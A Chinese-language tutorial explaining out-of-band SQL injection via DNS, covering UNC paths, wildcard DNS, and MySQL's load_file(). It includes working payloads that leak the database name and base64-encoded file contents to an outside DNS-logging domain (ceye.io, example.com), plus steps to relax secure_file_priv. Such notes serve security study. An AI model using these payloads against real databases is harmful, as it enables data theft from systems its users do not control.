- OUT OF BAND(带外通道技术)
- 让攻击者能够通过另一种方式来确认和利用没有直接回显的漏洞
- 可以看作一种速度具有优势的盲注,因为实现了变相回显
条件
- 系统存在漏洞,允许我们构建恶意请求
- 外围防火墙的出站策略:攻击目标需要向指定的另外一个目标发送特殊请求,因此要求防火墙对特殊请求能够放行
对比
攻击类别 | SQL注入类型 | 说明 |
---|---|---|
INBAND | 报错型、联合查询 | 根据应用的返回或者报错提取数据 |
INFERENCE | 布尔型、时间盲注 | 通过应用的非直接数据反馈判断 |
OUT OF BAND | OOB注入 | 通过其他信道获得数据 |
预备知识
DNS
- DNS使用TCP和UDP端口53
- 当前每一级域名长度限制为63个字符,域名总长度不能超过253个字符
- DNS协议在互联网上的传输都是明文的
DNS迭代查询原理
- 在阿里云或GoDaddy等域名服务商购买一个可以配置的域名
test.com
- 通过代理商设置域名
test.com
的nameserver为自己拥有的服务器(S)的IP - 在S上搭建DNS Server
- 此时
test.com
及其所有子域名的查询都会推送到S上,S可以实时监控
泛域名解析
- 利用通配符的方式将所有次级域名指向同一IP。
UNC路径(Universal Naming Convention)
- 通用命名规则,Windows主机默认存在,Linux主机默认不存在
- 格式:
\\servername\sharename
,servername为服务器名,sharename为共享资源名。 - 平时使用打印机、网络共享文件夹时,都会用到UNC填写地址,且在使用UNC路径时,会对域名进行DNS查询
tcpdump
- 基于unix系统的命令行的数据报嗅探工具,抓取流动在网卡上的数据包
- 原理:linux抓包是通过注册一种虚拟的底层网络协议,该伪协议可以对收到的报文进行一次处理,此时可进行窥探
load_file()
- MySQL常用函数,用于读取文件内容,并将文件内容作为字符串返回,如果读取失败会返回NULL
- 该函数除了读取本机文件,还能通过UNC路径读取远程机器上的文件
select load_file("/test.txt"); # 读取test.txt的内容
- 该函数需要遵循
secure_file_priv
限制,如果读取失败可能需要修改该策略show global variables like "%secure_file_priv%"; # 查询该策略的值,得到限制读取的目录路径
- 将
/etc/my.conf(my.ini)
中的secure_file_priv
值置为空:在[mysqld]
后添加一条secure_file_priv=
- 重新启动MySQL
- 将
环境搭建
- ceye平台:可以监控DNS请求,并且配置了泛域名解析
漏洞利用
select load_file(concat('\\\\',(select database()),'.7c9ne7.ceye.io\\abc'));
扩展-大文本传输
- 域名由标签组成,以
.
分隔,标签的长度不可以超过63个字符。整个域名不可以超过253个字符,包括.
- 当想要注入获取的数据过大时,可以利用
substr()
对文件内容切片,再将内容进行base64编码后拼接,最后利用load_file()
访问该UNC路径select concat(to_base64(substr(load_file("C:\\test.txt"),1,15)),".example.com") as result;